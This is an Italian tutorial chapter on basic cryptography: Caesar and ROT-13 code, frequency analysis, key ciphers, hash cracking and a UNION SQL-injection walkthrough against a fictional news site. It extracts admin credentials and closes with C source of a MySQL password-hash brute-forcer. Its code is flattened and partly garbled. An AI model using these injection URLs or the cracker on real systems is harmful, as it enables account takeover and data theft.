CAPITOLO 6: CRITTOGRAFIA SPICCIOLA La crittografia è un argomento molto esteso e molto complicato, ma per introdurvi a questo pazzo mondo, non c è modo più semplice che cominciare col parlare degli antichi romani. CIFRARIO DI CESARE Cesare (spero sappiate di chi parlo quello dei dadi star!) per comunicare con l esercito e non far capire i suoi piani al nemico, comunicava mediante messaggi cifrati secondo un algoritmo ancora oggi utilizzato, detto appunto il Cifrario di Cesare. A raccontarcelo è un certo Svetonio (uno storico) che nella sua opera, la vita di Cesare, scrive Extant et ad Ciceronem, item ad familiares domesticis de rebus, in quibus, si qua occultius perferenda erant, per notas scripsit, id est sic structo litterarum ordine, ut nullum verbum effici posset: quae si qui investigare et persequi velit, quartam elementorum litteram, id est D pro A et perinde reliquas commutet Che è latino (una lingua, morta per giunta), a noi interessa la parte sottolineata, che si traduce (non letteralmente): se qualcuno volesse capire cosa ci sia scritto su una di queste lettera, avrebbe dovrebbe sostituire la D con la A e così via Cesare praticamente sostituiva una lettera dell alfabeto con un altra spostata di tre lettere in avanti. Quindi per tradurre un messaggio, si doveva avere in mente una tabella come la seguente: A B C D E F G H I L M N O P Q R S T U V Z D E F G H I L M N O P Q R S T U V Z A B C dunque, per esempio, NICOLA sarebbe stato codificato come QNFROD. Costruiamo ora un algoritmo semplice in C++ che codifichi per noi una stringa, e agisca come fosse un essere umano in possesso della tabella che vediamo sopra. #include <iostream> #include <string> #include <ctype.h> //toupper(char) #include <stdlib.h> using namespace std; const string alfabeto = "ABCDEFGHIJKLMNOPQRSTUVXYWZ"; const string cifrato = "DEFGHIJKLMNOPQRSTUVXYWZABC"; int main(int argc, char *argv[]) { string frase(""); string risultato(""); getline(cin,frase); for (int i = 0; i < frase.length(); i++) { bool trovato = false; int j = 0; for (j = 0; j < alfabeto.length(); j++) if (toupper(frase[i]) == alfabeto[j]) { risultato = risultato + cifrato[j]; trovato = true; if (trovato == false) risultato = risultato + frase[i]; cout << endl << risultato << endl; return 0;
Per la decodifica basterà scambiare le due stringhe, ovvero considerare come alfabeto la stringa cifrato e viceversa Questo è un algoritmo che più si avvicina al modo di pensare di un essere umano, ma non è l unico possibile: anzi, ce ne sono di più semplici. CRITTOANALISI SPICCIOLA Lo spostamento potrebbe essere non solo di tre lettere, ma anche di cinque lettere, per esempio. Il problema è: ottenuta una stringa cifrata con questo algoritmo, ma con uno sfasamento k qualsiasi, come faccio ad analizzarla e a ricostruire il messaggio senza sapere k. Il metodo più elementare è cambiare k da 1 a 25 (a 26 abbiamo l alfabeto normale, a 27 abbiamo la stessa cosa di 1 e così via) e vedere quando la stringa ha un significato. Ma noi non siamo per le soluzioni semplici e brutali e dunque andiamo a vedere un po di teoria. ANALISI DELLA FREQUENZA DELLE LETTERE Per rompere (o anche crackare) un algoritmo di codifica di questo tipo o, più in generale, a sostituzione (dove l alfabeto cifrato non è ordinato), si può ricorrere ad un analisi della frequenza delle singole lettere dell alfabeto nella lingua in cui si pensa scritto il testo. Immaginiamo infatti di avere un file di testo codificato secondo questo algoritmo, sicuramente (se consideriamo il solo alfabeto italiano, senza le x,y,w,j,k) sappiamo che la lettera meno utilizzata è la h a cui possiamo far seguire la z, fino ad arrivare alla più utilizzata che è la lettera e. Facendo dunque un analisi statistica del testo, possiamo arrivare a sapere con una buona approssimazione (beh non è proprio perfetto) quale lettera è stata sostituita alla e e quale alla h e così per ogni lettera; se il testo è abbastanza lungo avremo una traduzione quasi perfetta. Nel caso della codifica di Cesare, una volta trovata quale lettera sostituisce la e o la a o la i (le tre lettere più usate in italiano, ma anche in inglese ) potremmo, con al massimo tre tentativi di traduzione, risalire allo spostamento k e ottenere la stringa in chiaro. Nel caso di una sostituzione generica, dobbiamo addestrare un programma con le frequenze (ovvero le ripetizioni) di uno o (ancora meglio) più testi in italiano che (possibilmente) trattino dello stesso argomento del testo cifrato e fare una media dei risultati. Operato tale conteggio passeremo al conteggio delle lettere nel testo cifrato e alla sostituzione secondo la frequenza. Fatto ciò, cercheremo di indovinare qualche parola evidente e sostituire i caratteri in tutto il testo e vedere di prova in prova cosa ne esce fuori. NOTA: se mai dovrete realizzare un programma per eseguire questo tipo di analisi: prevedete un modo per cambiare l associazione delle lettere durante l esecuzione, in modo da poter procedere, se è il caso, a tentativi; fate in modo di poter eliminare le lettere indesiderate; aggiungete un dizionario che provi ad completare automaticamente le parole e ad adattare il testo secondo i cambiamenti fatti. CIFRATURA A CHIAVE Supponiamo di avere una stringa di caratteri rappresentata in esadecimale come 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F e supponiamo di aggiungere non sempre la stessa quantità, ma una parola chiave che supponiamo essere per semplicità 01 02 02 01 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F + 01 02 02 01 01 02 02 01 01 02 02 01 01 02 02 = ------------------------------------------------ 02 04 05 05 06 08 09 09 0A 0C 0D 0D 0E 10 11
Abbiamo ottenuto, facendo la somma, una nuova stringa che naturalmente potrà essere decodificata, conoscendo la parola chiave, mediante una semplice sottrazione: 02 04 05 05 06 08 09 09 0A 0C 0D 0D 0E 10 11-01 02 02 01 01 02 02 01 01 02 02 01 01 02 02 = ------------------------------------------------ 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F Nel caso si verifichi un overflow (che nella decodifica equivarrà ad un underflow) possiamo fare il giro, ovvero da FF tornare a 00. Quando andremo a fare la sottrazione e arriveremo a 00, andremo a FF e otterremo la decodifica. ESEMPI DI ANALISI ESEMPIO 1 Supponiamo che qualcuno in un sistema di chat, abbia creato un sistema client-server che comunichi secondo una chiave variabile (supponiamo che non possa variare in lunghezza). La chiave sarà la prima cosa inviata dal server al client insieme ad un messaggio di benvenuto sempre uguale, come segue: //il server invia al client il benvenuto e la chiave server> [NUM][HELLO][CHIAVE][END] //il client risponde con HELLO e invia la chiave per conferma client> [NUM+1][HELLO][CHIAVE][END] //il server dice che la chiave è esatta server> [NUM+2][OK][END]... Sicuramente la chiave sarà l unica cosa a variare in questa conversazione e dunque quello che ci interessa sarà la parte variabile della prima stringa inviata dal server in successive connessioni. Conoscendo quella possiamo decrittare tutti i comandi inviati al server e che il server ci invia e dunque ottenere tutto il protocollo, oppure, analizzando il traffico in LAN, vedere cosa si dicono due persone che sono in rete. ESEMPIO 2 Supponiamo di avere un programma che codifichi le password di accesso degli utenti con questo metodo e di voler decodificare una password di un utente, scritta in questo modo: utente:qfsƒ or per decodificarla basterà semplicemente inserire (se possibile) un nuovo utente con la stessa lunghezza della password codificata, mantenendo un carattere costante, esempio utilizzando aaaaaa e poi vedendo cosa è stato sommato cracker:brbqrbr Ora abbiamo che brbqrbr aaaaaaa in esadecimale sono: 62 72 62 71 72 62 72-61 61 61 61 61 61 61 = ----------------------- 01 11 01 10 11 01 11
Il che ci dice che aggiungendo la stessa quantità alla stringa precedente otterremo la password in chiaro: 71 66 73 83 80 6f 72 + 01 11 01 10 11 01 11 = ----------------------- 70 65 72 73 6f 6e 61 <==> persona abbiamo così ottenuto facilmente la password in chiaro, senza molto sforzo. ROT-13 #include <iostream> #include <stdlib.h> using namespace std; int main(int argc, char *argv[]) { string frase(""); string risultato(""); getline(cin,frase); for (int i = 0; i < frase.length(); i++) { int c = (int)frase[i]; if (c >= 65 && c <=77) c = c + 13; else if (c >= 78 && c <=90) c = c - 13; else if (c >= 97 && c <=109) c = c + 13; else if (c >= 110 && c <=122) c = c - 13; risultato = risultato + (char)c; cout << endl << risultato << endl; system("pause"); return 0; La lingua inglese ha 26 lettere e quello che facciamo con la codifica rot-13 è appunto aggiungere o sottrarre 13 alle lettere. Infatti, come si può vedere dal programma, numeri e simboli non vengono tradotti.per prima cosa verifichiamo qual è la posizione di una lettera nell alfabeto. Se essa si trova tra le prime tredici (26/2) da a ad m, allora la lettera è rimpiazzata dalla tredicesima lettera dopo di essa (addizione). Se invece le lettere vanno da n a z, ovvero appartiene all altra metà dell insieme di lettere, la sostituiamo con la tredicesima lettera prima di essa (sottrazione). Nel nostro caso, quella serie di if...else if... nidificati fa questo effetto (riferendosi al valore in ascii delle lettere) e distinguendo tra maiuscole e minuscole. Per decodificare, basterà, intuitivamente eseguire di nuovo la codifica della stringa codificata: l algoritmo di codifica e di decodifica in questo caso coincidono. Il ROT-13 è spesso usato per codificare i cookie su internet.
INTRODUZIONE AGLI HASH A SENSO UNICO Non considerate concluso il discorso sugli algoritmi di crittazione, ma c è bisogno di studiare, studiare, studiare comunque tutti gli algoritmi di crittazione visti fino ad ora ci permettevano di risalire semplicemente al testo in chiaro, naturalmente conoscendone i segreti. Ci sono, però, algoritmi che non prevedono la decrittazione, utilizzati soprattutto per la codifica di password. L uscita dell algoritmo sarà una stringa che rappresenterà un immagine della password, da cui non si potrà risalire (se non attraverso attacchi di forza bruta o attacchi basati su dizionario) alla password in chiaro. La procedura di login assumerà dunque un aspetto simile a questo: Dunque non ci sarà una decodifica della password, ma un confronto tra l hash contenuto nel database e quello della password inserita dall utente. Sarà dunque più difficile risalire alla password anche se si ha a disposizione l accesso al database (naturalmente rispetto a quando è memorizzata in chiaro). Qui non tratterò degli algoritmi (per altro liberamente disponibili in rete) ma mi soffermerò su come si fa il crack di un hash. L algoritmo più utilizzato è (almeno credo) quello MD5, poi ci sono MD2, MD4, SHA1, etc ci interessa perchè è utilizzato soprattutto per la protezione degli accessi alle pagine web (per esempio in php, ci è offerta una funzione che semplicemente calcola l hash di una parola). L algoritmo in questione esamina una stringa di qualsiasi lunghezza e ne tira fuori una stringa di 128 bit, rappresentabile mediante 16 cifre esadecimali (rappresentate come in figura), che sarà costante ad ogni analisi e diversa da ogni altra (più o meno ). L algoritmo è liberamente disponibile online e riassunto nella RFC1321. Per crackarlo, bisogna utilizzare i metodi sopra citati. Un attacco basato su dizionario, semplicemente prende un elenco di parole (dizionario), ne fa l hash e lo confronta con l hash da crackare. Un attacco di forza bruta (bruteforce), invece, prova tutte le combinazioni di caratteri digitabili da tastiera (o un loro sottoinsieme, per esempio, limitato alle sole lettere minuscole), ne fa l hash e lo confronta con quello da crackare. Naturalmente il secondo è sicuramente meno veloce del primo, ma certamente più efficace (ma dipende dai casi). Di solito un modo di procedere è quello che segue, anche se presenta il problema che per esaurire tutte le possibilità ci vorrebbe molto, ma molto tempo e naturalmente noi non abbiamo tanto tempo, poiché una persona sana di mente cambia la sua password almeno ogni mese. Ma vediamo in ordine i passi da fare:
1) provare con dizionario delle password più usate 2) provare attacco con dizionario italiano / nomi 3) provare attacco con dizionari precedenti facendo variare minuscole e maiuscole 4) provare con attacco bruteforce con soli numeri 5) provare con attacco bruteforce con sole lettere 6) provare con attacco bruteforce con lettere maiuscole e minuscole 7) provare con attacco bruteforce con lettere maiuscole, minuscole e numeri 8) provare con attacco bruteforce con tutti i caratteri e così passeranno gli anni e le stagioni. Per ottenere una password comunque, un modo (relativamente) più semplice è sicuramente l ingegneria sociale. Perché crackare una password se l utente o ancor meglio l amministratore è così intelligente da darcela? Se la tecnica è inapplicabile, si può pensare di procedere con lo sniffing dei pacchetti provenienti dal computer dell utente o amministratore o con un keylogger o con un trojan o in tanti altri modi. ESEMPIO DI CRACKING Su internet si diffonde sempre più l uso dei CMS (Content Management System) che permettono di creare un portale in modo semplice ed intuitivo. Proprio questi, poiché molto usati e soprattutto open-source, sono quelli più analizzati (abbiamo il codice sorgente) e non ci vuole molto perché spunti fuori un nuovo problema. Quello che ci interessa è capire come funziona l SQL INJECTION. Tutti voi, o almeno la maggior parte di voi, avrà sicuramente sentito parlare di questa tecnica di intrusione. Un sito dinamico, basato su un database che supporti l operazione di unione (union), che in una pagina presenti un argomento non controllato dal codice e che andrà a prendere parte a una select, può essere utilizzato per ottenere (se ce n è l opportunità) informazioni sensibili, che dovrebbero essere più protette. Chi conosce il linguaggio SQL sa che una select richiede il nome della tabella e il nome degli attributi da estrarre. Come arrivare a conoscerli, o almeno provarci, è semplice. Per prima cosa, basta pensare che un qualsiasi programmatore standard chiamerà le tabelle con nomi standard, naturalmente per avere qualcosa di mnemonico nelle sue query ovvero per facilitarsi la vita; la stessa cosa varrà per gli attributi. Ci facilita la vita se, come spesso capita, è abilitata un opzione di debug che, in caso di errore (quello che noi ricerchiamo), restituisca la query così com è stata fatta. Prendiamo come esempio un sito non ben progettato, che chiameremo www.portale.it (un sito inventato, non reale ogni riferimento a persone o cose esistenti nella realtà è puramente casuale ) e supponiamo che una sezione del sito sia dedicata alle news (ovvero alle notizie), di solito presente in molti siti e si suppone insicuro perché abbiamo una select fatta generalmente in questo modo select titolo,data,testo, from notizie where id=1 ora se per esempio abbiamo che una news viene richiamata in questo modo www.protale.it/news/show_news.php?id_news=106 allora possiamo tentare di scrivere www.protale.it/news/show_news.php?id_news=106%20union dove si ricorda che %20 sta per spazio vuoto. Se tutto va bene, o meglio male per l amministratore e bene per noi, quello che esce fuori è qualcosa del genere
Query Richiesta: SELECT id, titolo, corpo, DATE_FORMAT(data_pubblicazione, '%d/%m/%y') AS data_di_pubblicazione FROM news WHERE id=106 union Errore Riscontrato: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1 Il che ci dà più informazioni di quanto dovremmo, poiché è più sicuro certamente disabilitare il debug, ma anche far mostrare solo la parte della query che ha generato l errore. Per prima cosa vediamo che il nostro programmatore ha l abitudine di dare nomi standard alle tabelle e agli attributi, quindi possiamo supporre quale sia il nome della tabella utenti e quale sia il nome degli attributi che contengono nome utente e password. Se abbiamo qualche dubbio, basta andare nella pagina di login e vedere come si chiamano i campi del form di accesso: un programmatore standard, come quello che abbiamo davanti, utilizzerà lo stesso nome per i campi. In questo caso abbiamo login e passwd. Esaminiamo la query per ottenere un unione valida. L attributo id lo immaginiamo numerico, l attributo titolo lo immaginiamo come una stringa di testo e lo stesso vale per l attributo corpo e poi vediamo data_pubblicazione che sarà del tipo data. show_news.php?id_news=106%20union%20select%200,login,0,0%20from%20users ma in questo particolare caso qualcosa và storto, ovvero lo stesso id viene utilizzato in un altra query per mostrare gli allegati e dunque otteniamo l errore Query Richiesta: SELECT * FROM news_allegati WHERE rif_news=106 union select 0,login,0,0 from users Errore Riscontrato: The used SELECT statements have a different number of columns Ci siamo arenati in una query dove non conosciamo gli attributi, e ci viene dato l errore che la query ha un numero di colonne differente. Ma cosa succede se 106 lo sostituiamo con -1 e magari settiamo nella nostra union l attributo relativo a titolo come NULL (ovvero zero) e uniamo quello relativo al corpo della notizia come login show_news.php?id_news=-1%20union%20select%200,0,login,0%20from%20users otteniamo così il login di amministratore che sarà admin e utilizzando l url show_news.php?id_news=-1%20union%20select%200,0,passwd,0%20from%20users otteniamo la password. Otterremo una cosa del genere 43e9a4ab75570f5b. Che ci appare a prima vista come un hash e in questo caso è quello restituito dalla funzione password() inclusa in MySql. Come faccio a saperlo? Beh, ci sono tanti modi, uno, per esempio, è andare a vedere il tipo di database utilizzato dal server che ospita il sito, cercare un po su google mysql password o provare a ricercare direttamente l hash (non si sa mai che sia uno di default, come in questo caso). E dunque, trovato di che tipo di hash si tratta, o facciamo noi un programma che faccia il bruteforce, come spiegato prima, oppure ne prendiamo uno bello e fatto che ci dirà che la password che stiamo cercando è appunto admin. Possiamo ora recarci al pannello di controllo dell amministratore del sito e accedervi coi privilegi di un amministratore. CODICE SORGENTE Quello che segue è il codice sorgente per il bruteforcing degli hash di mysql, preso così come l ho trovato (dopo una lunga ricerca) su internet.
/* This program is public domain. Share and enjoy. * * Example: * $ gcc -O2 -fomit-frame-pointer mysqlfast.c -o mysqlfast * $ mysqlfast 6294b50f67eda209 * Hash: 6294b50f67eda209 * Trying length 3 * Trying length 4 * Found pass: barf * * The MySQL password hash function could be strengthened considerably * by: * - making two passes over the password * - using a bitwise rotate instead of a left shift * - causing more arithmetic overflows */ #include <stdio.h> typedef unsigned long u32; /* Allowable characters in password; 33-126 is printable ascii */ #define MIN_CHAR 33 #define MAX_CHAR 126 /* Maximum length of password */ #define MAX_LEN 12 #define MASK 0x7fffffffL int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary) { int i, c; u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2; u32 newstate1, newstate2, newstate3; u32 state1_ary[max_len-2], state2_ary[max_len-2]; u32 xor_ary[max_len-3], step_ary[max_len-3]; i = -1; sum = 7; state1_ary[0] = 1345345333L; state2_ary[0] = 0x12345671L; while (1) { while (i < stop) { i++; pass_ary[i] = MIN_CHAR; step_ary[i] = (state1_ary[i] & 0x3f) + sum; xor_ary[i] = step_ary[i]*min_char + (state1_ary[i] << 8); sum += MIN_CHAR; state1_ary[i+1] = state1_ary[i] ^ xor_ary[i]; state2_ary[i+1] = state2_ary[i]
+ ((state2_ary[i] << 8) ^ state1_ary[i+1]); state1 = state1_ary[i+1]; state2 = state2_ary[i+1]; step = (state1 & 0x3f) + sum; xor1 = step*min_char + (state1 << 8); xor2 = (state2 << 8) ^ state1; for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) { newstate2 = state2 + (xor1 ^ xor2); newstate1 = state1 ^ xor1; newstate3 = (targ2 - newstate2) ^ (newstate2 << 8); div = (newstate1 & 0x3f) + sum + c; diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK; if (diff % div!= 0) continue; d = diff / div; if (d < MIN_CHAR d > MAX_CHAR) continue; div = (newstate3 & 0x3f) + sum + c + d; diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK; if (diff % div!= 0) continue; e = diff / div; if (e < MIN_CHAR e > MAX_CHAR) continue; pass_ary[i+1] = c; pass_ary[i+2] = d; pass_ary[i+3] = e; return 1; while (i >= 0 && pass_ary[i] >= MAX_CHAR) { sum -= MAX_CHAR; i--; if (i < 0) break; pass_ary[i]++; xor_ary[i] += step_ary[i]; sum++; state1_ary[i+1] = state1_ary[i] ^ xor_ary[i]; state2_ary[i+1] = state2_ary[i] + ((state2_ary[i] << 8) ^ state1_ary[i+1]); return 0; void crack(char *hash) { int i, len; u32 targ1, targ2, targ3;
int pass[max_len]; if ( sscanf(hash, "%8lx%lx", &targ1, &targ2)!= 2 ) { printf("invalid password hash: %s\n", hash); return; printf("hash: %08lx%08lx\n", targ1, targ2); targ3 = targ2 - targ1; targ3 = targ2 - ((targ3 << 8) ^ targ1); targ3 = targ2 - ((targ3 << 8) ^ targ1); targ3 = targ2 - ((targ3 << 8) ^ targ1); for (len = 3; len <= MAX_LEN; len++) { printf("trying length %d\n", len); if ( crack0(len-4, targ1, targ3, pass) ) { printf("found pass: "); for (i = 0; i < len; i++) putchar(pass[i]); putchar('\n'); break; if (len > MAX_LEN) printf("pass not found\n"); int main(int argc, char *argv[]) { int i; if (argc <= 1) printf("usage: %s hash\n", argv[0]); for (i = 1; i < argc; i++) crack(argv[i]); return 0;